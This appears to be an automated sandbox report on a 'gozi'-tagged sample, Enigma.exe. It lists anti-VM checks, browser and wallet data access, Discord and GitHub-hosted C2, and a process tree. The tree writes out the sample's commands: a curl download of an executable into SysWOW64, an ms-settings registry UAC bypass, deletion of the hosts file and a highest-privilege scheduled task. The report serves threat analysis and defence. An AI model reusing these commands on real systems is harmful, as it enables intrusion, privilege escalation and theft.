gozi | 3ef10a8b44eb13fc45d40ced592fe9f1a83e6b021b3681da61f7cce688304047

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Enigma.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Enigma.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Enigma.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Enigma.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4092317236-2027488869-1227795436-1000\Control Panel\International\Geo\Nation	Enigma.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4092317236-2027488869-1227795436-1000\Control Panel\International\Geo\Nation	kdmapper.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4092317236-2027488869-1227795436-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 3 IoCs

pid	Process
1436	kdmapper.exe
2608	physmeme.exe
2068	gyiczj2g.exe

Loads dropped DLL 1 IoCs

pid	Process
1436	kdmapper.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com
4	raw.githubusercontent.com
15	discord.com
17	discord.com
21	raw.githubusercontent.com
39	discord.com
40	discord.com
53	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
49	checkip.amazonaws.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\kdmapper.exe	Enigma.exe
File created	C:\Windows\SysWOW64\physmeme.exe	curl.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4348	Enigma.exe
4348	Enigma.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2608 set thread context of 1368	2608	physmeme.exe	103

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	Enigma.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2868	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4092317236-2027488869-1227795436-1000_Classes\ms-settings\shell\open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4092317236-2027488869-1227795436-1000_Classes\ms-settings\shell\open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\appledamage91697.vbs"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4092317236-2027488869-1227795436-1000_Classes\ms-settings\shell\open\command	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4092317236-2027488869-1227795436-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4092317236-2027488869-1227795436-1000_Classes\ms-settings\shell\open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4092317236-2027488869-1227795436-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-4092317236-2027488869-1227795436-1000_Classes\ms-settings\shell	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe
4348	Enigma.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	1436	kdmapper.exe
Token: SeDebugPrivilege	1368	RegAsm.exe
Token: SeDebugPrivilege	2068	gyiczj2g.exe
Token: SeShutdownPrivilege	3440	Explorer.EXE
Token: SeCreatePagefilePrivilege	3440	Explorer.EXE
Token: SeShutdownPrivilege	3440	Explorer.EXE
Token: SeCreatePagefilePrivilege	3440	Explorer.EXE
Token: SeShutdownPrivilege	3440	Explorer.EXE
Token: SeCreatePagefilePrivilege	3440	Explorer.EXE

Suspicious use of FindShellTrayWindow 26 IoCs

pid	Process
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe
4556	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1436	kdmapper.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3440	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4348 wrote to memory of 4596	4348	Enigma.exe	84
PID 4348 wrote to memory of 4596	4348	Enigma.exe	84
PID 4596 wrote to memory of 4556	4596	cmd.exe	85
PID 4596 wrote to memory of 4556	4596	cmd.exe	85
PID 4556 wrote to memory of 1360	4556	msedge.exe	87
PID 4556 wrote to memory of 1360	4556	msedge.exe	87
PID 4348 wrote to memory of 2960	4348	Enigma.exe	88
PID 4348 wrote to memory of 2960	4348	Enigma.exe	88
PID 4348 wrote to memory of 1436	4348	Enigma.exe	89
PID 4348 wrote to memory of 1436	4348	Enigma.exe	89
PID 4348 wrote to memory of 1436	4348	Enigma.exe	89
PID 4348 wrote to memory of 3416	4348	Enigma.exe	90
PID 4348 wrote to memory of 3416	4348	Enigma.exe	90
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 3648	4556	msedge.exe	91
PID 4556 wrote to memory of 4064	4556	msedge.exe	92
PID 4556 wrote to memory of 4064	4556	msedge.exe	92
PID 4556 wrote to memory of 2120	4556	msedge.exe	93
PID 4556 wrote to memory of 2120	4556	msedge.exe	93
PID 4556 wrote to memory of 2120	4556	msedge.exe	93
PID 4556 wrote to memory of 2120	4556	msedge.exe	93
PID 4556 wrote to memory of 2120	4556	msedge.exe	93
PID 4556 wrote to memory of 2120	4556	msedge.exe	93
PID 4556 wrote to memory of 2120	4556	msedge.exe	93
PID 4556 wrote to memory of 2120	4556	msedge.exe	93
PID 4556 wrote to memory of 2120	4556	msedge.exe	93

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3440
- C:\Users\Admin\AppData\Local\Temp\Enigma.exe
  "C:\Users\Admin\AppData\Local\Temp\Enigma.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Looks for VirtualBox Guest Additions in registry
  - Checks BIOS information in registry
  - Checks computer location settings
  - Drops file in System32 directory
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Checks for VirtualBox DLLs, possible anti-VM trick
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c start https://discord.gg/P5448HTPrE
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4596
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/P5448HTPrE
      4⤵
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:4556
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff3dc646f8,0x7fff3dc64708,0x7fff3dc64718
        5⤵
        
        PID:1360
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1464,8189374019848826141,1819703206631411821,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2176 /prefetch:2
        5⤵
        
        PID:3648
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1464,8189374019848826141,1819703206631411821,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 /prefetch:3
        5⤵
        
        PID:4064
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1464,8189374019848826141,1819703206631411821,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2808 /prefetch:8
        5⤵
        
        PID:2120
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1464,8189374019848826141,1819703206631411821,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:1
        5⤵
        
        PID:2096
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1464,8189374019848826141,1819703206631411821,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3512 /prefetch:1
        5⤵
        
        PID:1220
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1464,8189374019848826141,1819703206631411821,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5072 /prefetch:1
        5⤵
        
        PID:468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c color D
    3⤵
    PID:2960
- - C:\Windows\SysWOW64\kdmapper.exe
    "C:\Windows\SysWOW64\kdmapper.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1436
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\appledamage91697.vbs" /f
      4⤵
      Modifies registry class
      PID:1140
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /d "0" /f
      4⤵
      Modifies registry class
      PID:4132
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C computerdefaults.exe
      4⤵
      PID:3604
    - - C:\Windows\SysWOW64\ComputerDefaults.exe
        
        computerdefaults.exe
        5⤵
        
        PID:1740
      - C:\Windows\SysWOW64\wscript.exe
        
        "wscript.exe" C:\Users\Admin\AppData\Local\Temp\appledamage91697.vbs
        6⤵
        Checks computer location settings
        
        PID:3564
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C del C:\Windows\System32\drivers\etc\hosts
        7⤵
        
        PID:4960
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C schtasks /Create /SC ONLOGON /TN VisualStudioUpdater_GyFeCElfnPIBLRXma050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\GyFeCElfnPIBLRXma050MX.exe" /RL HIGHEST /IT
      4⤵
      PID:3388
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Create /SC ONLOGON /TN VisualStudioUpdater_GyFeCElfnPIBLRXma050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\GyFeCElfnPIBLRXma050MX.exe" /RL HIGHEST /IT
        5⤵
        Creates scheduled task(s)
        
        PID:2868
  - - C:\Users\Admin\AppData\Local\Temp\gyiczj2g.exe
      "C:\Users\Admin\AppData\Local\Temp\gyiczj2g.exe" explorer.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl --silent https://raw.githubusercontent.com/killebolaaaaaaaaaaaaaaaaa/pizdechui/main/mservice64.exe --output C:\Windows\SysWOW64\physmeme.exe
    3⤵
    PID:3416
  - - C:\Windows\system32\curl.exe
      curl --silent https://raw.githubusercontent.com/killebolaaaaaaaaaaaaaaaaa/pizdechui/main/mservice64.exe --output C:\Windows\SysWOW64\physmeme.exe
      4⤵
      Drops file in System32 directory
      PID:4920
- - C:\Windows\SysWOW64\physmeme.exe
    "C:\Windows\SysWOW64\physmeme.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:2608
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1368

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:448

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4336

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Scheduled Task/Job

Privilege Escalation

Scheduled Task/Job

Defense Evasion

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion